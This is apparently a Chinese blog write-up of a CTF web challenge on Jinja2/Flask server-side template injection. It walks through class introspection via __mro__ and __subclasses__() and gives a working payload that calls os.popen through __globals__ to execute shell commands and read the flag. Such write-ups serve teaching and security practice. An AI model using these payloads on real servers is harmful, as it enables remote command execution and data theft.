首页 > 编程语言 >【攻防世界】Web_python_template_injection

【攻防世界】Web_python_template_injection

时间:2024-10-15 19:47:40浏览次数:3  
标签:__ Web .__ index python Python template class

Web_python_template_injection : python 模板漏洞

python的flask模板注入的题思路比较固定,Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。

1.先判断是否存在注入

{{config}}

2.获取基本类:

{{''.__class__.__mro__}}

.__class__ 是一个 Python 表达式,用于获取空字符串('')的类。在 Python 中,所有的数据都是对象,每个对象都有一个类。通过 .__class__ 属性,我们可以查看对象的类。

__mro__ 是 Python 中的一个特殊属性,用于获取一个类的方法解析顺序(Method Resolution Order)。它返回一个包含该类及其所有基类的元组,按照方法查找的顺序排列。

3.查看基类的引用列表,url后加 {{''.__class__.__mro__[2].__subclasses__()}}:

_subclasses__() 是 Python 中的一个特殊方法,用于获取一个类的所有子类。

在 Python 中,每个类都有一个 __subclasses__() 方法,它返回一个包含该类所有直接子类的列表。如果一个类没有子类,则返回一个空列表。

4.发现<class 'site.Printer'>类。

5.用python脚本查询类索引index

text = "<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>"
new_text=text.split(",")
index=0
for i in new_text:
    index+=1
print(index -1)

最后得出index为71

6.执行指令

执行:

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

7.读取fl4g这个文件。

ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

标签:__,Web,.__,index,python,Python,template,class
From: https://blog.csdn.net/2301_80871705/article/details/142855327

相关文章

  • nginx web代理
    目录1.nginx的简单介绍2.正向代理的应用场景2.1做访问控制 2.2审计 2.3负载分散2.4隐私保护和匿名性3.反向代理的应用场景如下 3.1.负载均衡2.缓存静态内容3.压缩和优化内容4.提供故障转移5.安全性和匿名性4.正向代理 4.1web端4.2lb01代理服务器配置 5.反......
  • 【PAT_Python解 带全部测试点】1068 万绿丛中一点红
    原题链接:PTA|程序设计类实验辅助教学平台测试点0:独一无二测试点1: NotUnique测试点2:NotExist测试点3:独一无二       点在边缘(相邻数值不足8个)45207000000000400000070答案:(4,3):4测试点5:点在边缘(相邻数值不足8个)4520000......
  • python类与魔法方法
    文章目录1.类的创建与实例化2.类的魔法方法3.类属性与函数4.类的继承与改写4.1继承属性与函数4.2多重多继承4.3super()函数(减少反复继承初始化)4.4继承中mro与函数调用顺序4.5父类的重写与调用5.多态、类方法6.模块导入6.1导入文件6.2导包路径问题7.prope......
  • 基于yolov8、yolov5的烟雾检测系统(含UI界面、训练好的模型、Python代码、数据集)
    项目介绍项目中所用到的算法模型和数据集等信息如下:算法模型:  yolov8、yolov8+SE注意力机制或yolov5、yolov5+SE注意力机制,直接提供最少两个训练好的模型。模型十分重要,因为有些同学的电脑没有GPU,无法自行训练。数据集:  网上下载的数据集,格式都已......
  • DAY50WEB 攻防-PHP 应用&文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒
    知识点:1、文件包含-原理&分类&危害-LFI&RFI2、文件包含-利用-黑白盒&无文件&伪协议文件包含-原理&分类&利用&修复原理:程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文......
  • python实现了通过摄像头检测手部动作,根据手指数量的不同映射为特定的视频控制操作
    importcv2#导入OpenCV库,用于图像处理importmediapipeasmp#导入MediaPipe库,用于手部检测等fromseleniumimportwebdriver#导入selenium库fromselenium.webdriver.common.keysimportKeysfromselenium.webdriver.common.byimportByfromselenium.webdrive......
  • Python学习流水账Day5——有关Python中的函数
    文章目录前言一、Python中的函数1.内置函数2.定义一个函数调用函数为函数设置参数实参形参给函数设置多个形参默认形参函数的返回值函数的变量局部变量全局变量3.匿名函数4.递归函数总结前言简单的python复习第五天:不是用来教学的,上班没劲,主打一个本科毕业没竞......
  • 通过 chatgpt 修复org.springframework:spring-webmvc 安全漏洞过程记录(chatgpt有时候
    1,首先我把这个安全漏洞的trivy完整描述send给了chatgpt并且随后把我的pom.xml也完整的send给了它。chatgpt给出的答案还算比较靠谱。 图一 图二 图三 图四 2,根据chatgpt的回复,我把<parent><groupId>org.springframework.boot</groupId><artifactId>sp......
  • 基于XP架设Web和FTP服务器基于XP架设Web和FTP服务器真没想到
    网络的迅速发展使宽带走入寻常百姓家,广大网络爱好者也勇于尝试,在自己的爱机上建设自己的网站,那么选择什么系统呢?Win2000漏洞百出,Win2003又专门为服务器设计,没有太适合普通的家用,相反WinXP是微软继Win98后最受欢迎的操作系统,今天我就介绍1下,在XP环境中利用IIS架构自己的网站。......
  • 【CTF Web】Pikachu 不安全的url跳转 Writeup(URL重定向+代码审计)
    不安全的url跳转不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话就可能发生"跳错对象"的问题。url跳转比较直接的危害是:–>钓鱼,......